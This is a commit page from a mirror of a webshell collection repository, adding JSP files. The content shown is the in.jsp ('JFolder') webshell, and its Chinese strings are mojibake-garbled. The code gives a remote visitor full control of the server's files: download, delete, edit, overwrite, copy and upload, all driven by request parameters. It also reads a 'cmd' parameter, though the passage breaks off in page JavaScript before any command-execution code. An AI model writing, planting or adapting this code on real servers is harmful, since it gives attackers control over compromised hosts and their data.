mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
update net-friend
This commit is contained in:
1022
jsp/JFolder.jsp
Normal file
1022
jsp/JFolder.jsp
Normal file
File diff suppressed because it is too large
Load Diff
2403
jsp/JspSpyJDK5.jsp
Normal file
2403
jsp/JspSpyJDK5.jsp
Normal file
File diff suppressed because it is too large
Load Diff
982
jsp/in.jsp
Normal file
982
jsp/in.jsp
Normal file
@@ -0,0 +1,982 @@
|
|||||||
|
<%
|
||||||
|
/**
|
||||||
|
xxxxxxxxxxxx xxxxxxxxxxxxxxxx
|
||||||
|
@xxxxxxxxx<78><78> JFolder.jsp
|
||||||
|
@Description<6F><6E> x<><78>
|
||||||
|
@Author<6F><72> Steven Cee
|
||||||
|
@Email <20><> xxxx@Gmail.com
|
||||||
|
@Bugs : <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
*/
|
||||||
|
%>
|
||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||||
|
<%!
|
||||||
|
private final static int languageNo=0; //<2F><><EFBFBD>汾<D4B0><E6B1BE>0 : <20><><EFBFBD>ģ<EFBFBD> 1<><31>Ӣ<EFBFBD><D3A2>
|
||||||
|
String strThisFile="JFolder.jsp";
|
||||||
|
String[] authorInfo={" <font color=red> </font>"," <font color=red> </font>"};
|
||||||
|
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
|
||||||
|
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
|
||||||
|
String[] strSysProperty = {"","System Property"};
|
||||||
|
String[] strHelp = {"","Help"};
|
||||||
|
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
|
||||||
|
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
|
||||||
|
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
|
||||||
|
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
|
||||||
|
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
|
||||||
|
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Last Modified"};
|
||||||
|
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
|
||||||
|
String[] strFileEdit = {"<22><EFBFBD>","Edit"};
|
||||||
|
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
|
||||||
|
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
|
||||||
|
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
|
||||||
|
String[] strExecute = {"ִ<><D6B4>","Execute"};
|
||||||
|
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
|
||||||
|
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
|
||||||
|
|
||||||
|
public class FileHandler
|
||||||
|
{
|
||||||
|
private String strAction="";
|
||||||
|
private String strFile="";
|
||||||
|
void FileHandler(String action,String f)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class UploadMonitor {
|
||||||
|
|
||||||
|
static Hashtable uploadTable = new Hashtable();
|
||||||
|
|
||||||
|
static void set(String fName, UplInfo info) {
|
||||||
|
uploadTable.put(fName, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove(String fName) {
|
||||||
|
uploadTable.remove(fName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static UplInfo getInfo(String fName) {
|
||||||
|
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class UplInfo {
|
||||||
|
|
||||||
|
public long totalSize;
|
||||||
|
public long currSize;
|
||||||
|
public long starttime;
|
||||||
|
public boolean aborted;
|
||||||
|
|
||||||
|
public UplInfo() {
|
||||||
|
totalSize = 0l;
|
||||||
|
currSize = 0l;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public UplInfo(int size) {
|
||||||
|
totalSize = size;
|
||||||
|
currSize = 0;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUprate() {
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
if (time != 0) {
|
||||||
|
long uprate = currSize * 1000 / time;
|
||||||
|
return convertFileSize(uprate) + "/s";
|
||||||
|
}
|
||||||
|
else return "n/a";
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getPercent() {
|
||||||
|
if (totalSize == 0) return 0;
|
||||||
|
else return (int) (currSize * 100 / totalSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeElapsed() {
|
||||||
|
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeEstimated() {
|
||||||
|
if (currSize == 0) return "n/a";
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
time = totalSize * time / currSize;
|
||||||
|
time /= 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public class FileInfo {
|
||||||
|
|
||||||
|
public String name = null, clientFileName = null, fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
|
||||||
|
public void setFileContents(byte[] aByteArray) {
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A Class with methods used to process a ServletInputStream
|
||||||
|
public class HttpMultiPartParser {
|
||||||
|
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB = 1024 * 1;
|
||||||
|
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||||
|
int clength) throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||||
|
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||||
|
boolean isFile = false;
|
||||||
|
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||||
|
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||||
|
while (line != null) {
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()) {
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1) {
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||||
|
fileInfo.name = paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0) {
|
||||||
|
fileInfo.clientFileName = value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else {
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in third line");
|
||||||
|
stLine.nextToken(); // Content-Type
|
||||||
|
fileInfo.fileContentType = stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
// If parameter is dir, change saveInDir to dir
|
||||||
|
if (paramName.equals("dir")) saveInDir = line;
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
UplInfo uplInfo = new UplInfo(clength);
|
||||||
|
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent) {
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
uplInfo.aborted = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)) {
|
||||||
|
os.write(previousLine, 0, read - 2);
|
||||||
|
line = new String(currentLine, 0, read3);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
os.write(previousLine, 0, read);
|
||||||
|
uplInfo.currSize += read;
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}//end else
|
||||||
|
}//end while
|
||||||
|
os.flush();
|
||||||
|
os.close();
|
||||||
|
if (!saveFiles) {
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else fileInfo.file = new File(path);
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
uplInfo.currSize = uplInfo.totalSize;
|
||||||
|
}//end try
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compares boundary string to byte array
|
||||||
|
*/
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i = 0; i < boundary.length(); i++)
|
||||||
|
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Convenience method to read HTTP header lines */
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1) {
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||||
|
}
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||||
|
"dir or fileName is null");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
} //End of class HttpMultiPartParser
|
||||||
|
|
||||||
|
String formatPath(String p)
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer();
|
||||||
|
for (int i = 0; i < p.length(); i++)
|
||||||
|
{
|
||||||
|
if(p.charAt(i)=='\\')
|
||||||
|
{
|
||||||
|
sb.append("\\\\");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sb.append(p.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts some important chars (int) to the corresponding html string
|
||||||
|
*/
|
||||||
|
static String conv2Html(int i) {
|
||||||
|
if (i == '&') return "&";
|
||||||
|
else if (i == '<') return "<";
|
||||||
|
else if (i == '>') return ">";
|
||||||
|
else if (i == '"') return """;
|
||||||
|
else return "" + (char) i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts a normal string to a html conform string
|
||||||
|
*/
|
||||||
|
static String htmlEncode(String st) {
|
||||||
|
StringBuffer buf = new StringBuffer();
|
||||||
|
for (int i = 0; i < st.length(); i++) {
|
||||||
|
buf.append(conv2Html(st.charAt(i)));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
String getDrivers()
|
||||||
|
/**
|
||||||
|
Windowsϵͳ<EFBFBD><EFBFBD>ȡ<EFBFBD>ÿ<EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||||
|
File roots[]=File.listRoots();
|
||||||
|
for(int i=0;i<roots.length;i++)
|
||||||
|
{
|
||||||
|
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||||
|
sb.append(roots[i]+"</a> ");
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String convertFileSize(long filesize)
|
||||||
|
{
|
||||||
|
//bug 5.09M <20><>ʾ5.9M
|
||||||
|
String strUnit="Bytes";
|
||||||
|
String strAfterComma="";
|
||||||
|
int intDivisor=1;
|
||||||
|
if(filesize>=1024*1024)
|
||||||
|
{
|
||||||
|
strUnit = "MB";
|
||||||
|
intDivisor=1024*1024;
|
||||||
|
}
|
||||||
|
else if(filesize>=1024)
|
||||||
|
{
|
||||||
|
strUnit = "KB";
|
||||||
|
intDivisor=1024;
|
||||||
|
}
|
||||||
|
if(intDivisor==1) return filesize + " " + strUnit;
|
||||||
|
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||||
|
if(strAfterComma=="") strAfterComma=".0";
|
||||||
|
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
request.setCharacterEncoding("gb2312");
|
||||||
|
String tabID = request.getParameter("tabID");
|
||||||
|
String strDir = request.getParameter("path");
|
||||||
|
String strAction = request.getParameter("action");
|
||||||
|
String strFile = request.getParameter("file");
|
||||||
|
String strPath = strDir + "\\" + strFile;
|
||||||
|
String strCmd = request.getParameter("cmd");
|
||||||
|
StringBuffer sbEdit=new StringBuffer("");
|
||||||
|
StringBuffer sbDown=new StringBuffer("");
|
||||||
|
StringBuffer sbCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbNewFile=new StringBuffer("");
|
||||||
|
|
||||||
|
if((tabID==null) || tabID.equals(""))
|
||||||
|
{
|
||||||
|
tabID = "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strDir==null||strDir.length()<1)
|
||||||
|
{
|
||||||
|
strDir = request.getRealPath("/");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
if(f.length()==0)
|
||||||
|
{
|
||||||
|
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||||
|
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||||
|
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||||
|
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=fileInputStream.read()) != -1)
|
||||||
|
{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
fileInputStream.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("del"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||||
|
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||||
|
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||||
|
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||||
|
String line="";
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||||
|
}
|
||||||
|
sbEdit.append("</textarea>");
|
||||||
|
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||||
|
sbEdit.append("</form>");
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("save"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||||
|
String strContent=request.getParameter("content");
|
||||||
|
bw.write(strContent);
|
||||||
|
bw.close();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
|
||||||
|
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||||
|
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||||
|
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||||
|
sbCopy.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
String strDesFile=request.getParameter("file2");
|
||||||
|
if(strDesFile==null || strDesFile.equals(""))
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
File f_des=new File(strDesFile);
|
||||||
|
if(f_des.isFile())
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strTmpFile=strDesFile;
|
||||||
|
if(f_des.isDirectory())
|
||||||
|
{
|
||||||
|
if(!strDesFile.endsWith("\\"))
|
||||||
|
{
|
||||||
|
strDesFile=strDesFile+"\\";
|
||||||
|
}
|
||||||
|
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
File f_des_copy=new File(strTmpFile);
|
||||||
|
FileInputStream in1=new FileInputStream(f);
|
||||||
|
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||||
|
byte[] buffer=new byte[1024];
|
||||||
|
int c;
|
||||||
|
while((c=in1.read(buffer))!=-1)
|
||||||
|
{
|
||||||
|
out1.write(buffer,0,c);
|
||||||
|
}
|
||||||
|
in1.close();
|
||||||
|
out1.close();
|
||||||
|
|
||||||
|
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
|
||||||
|
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
|
||||||
|
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("newFile"))
|
||||||
|
{
|
||||||
|
String strF=request.getParameter("fileName");
|
||||||
|
String strType1=request.getParameter("btnNewFile");
|
||||||
|
String strType2=request.getParameter("btnNewDir");
|
||||||
|
String strType="";
|
||||||
|
if(strType1==null)
|
||||||
|
{
|
||||||
|
strType="Dir";
|
||||||
|
}
|
||||||
|
else if(strType2==null)
|
||||||
|
{
|
||||||
|
strType="File";
|
||||||
|
}
|
||||||
|
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||||
|
{
|
||||||
|
File f_new=new File(strF);
|
||||||
|
if(strType.equals("File") && !f_new.createNewFile())
|
||||||
|
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||||
|
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||||
|
{
|
||||||
|
String tempdir=".";
|
||||||
|
boolean error=false;
|
||||||
|
response.setContentType("text/html");
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
|
||||||
|
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||||
|
String bound = request.getContentType().substring(bstart + 8);
|
||||||
|
int clength = request.getContentLength();
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||||
|
if (ht.get("cqqUploadFile") != null)
|
||||||
|
{
|
||||||
|
|
||||||
|
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||||
|
File f1 = fi.file;
|
||||||
|
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||||
|
if (info != null && info.aborted)
|
||||||
|
{
|
||||||
|
f1.delete();
|
||||||
|
request.setAttribute("error", "Upload aborted");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String path = (String) ht.get("path");
|
||||||
|
if(path!=null && !path.endsWith("\\"))
|
||||||
|
path = path + "\\";
|
||||||
|
if (!f1.renameTo(new File(path + f1.getName())))
|
||||||
|
{
|
||||||
|
request.setAttribute("error", "Cannot upload file.");
|
||||||
|
error = true;
|
||||||
|
f1.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style type="text/css">
|
||||||
|
td,select,input,body{font-size:9pt;}
|
||||||
|
A { TEXT-DECORATION: none }
|
||||||
|
|
||||||
|
#tablist{
|
||||||
|
padding: 5px 0;
|
||||||
|
margin-left: 0;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 0.1em;
|
||||||
|
font:9pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li{
|
||||||
|
list-style: none;
|
||||||
|
display: inline;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a{
|
||||||
|
padding: 3px 0.5em;
|
||||||
|
margin-left: 3px;
|
||||||
|
border: 1px solid ;
|
||||||
|
background: F6F6F6;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a:link, #tablist li a:visited{
|
||||||
|
color: navy;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a.current{
|
||||||
|
background: #EAEAFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tabcontentcontainer{
|
||||||
|
width: 100%;
|
||||||
|
padding: 5px;
|
||||||
|
border: 1px solid black;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tabcontent{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||||
|
|
||||||
|
////////Stop editting////////////////
|
||||||
|
|
||||||
|
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||||
|
if (el.currentStyle)
|
||||||
|
return el.currentStyle[cssproperty]
|
||||||
|
else if (window.getComputedStyle){
|
||||||
|
var elstyle=window.getComputedStyle(el, "")
|
||||||
|
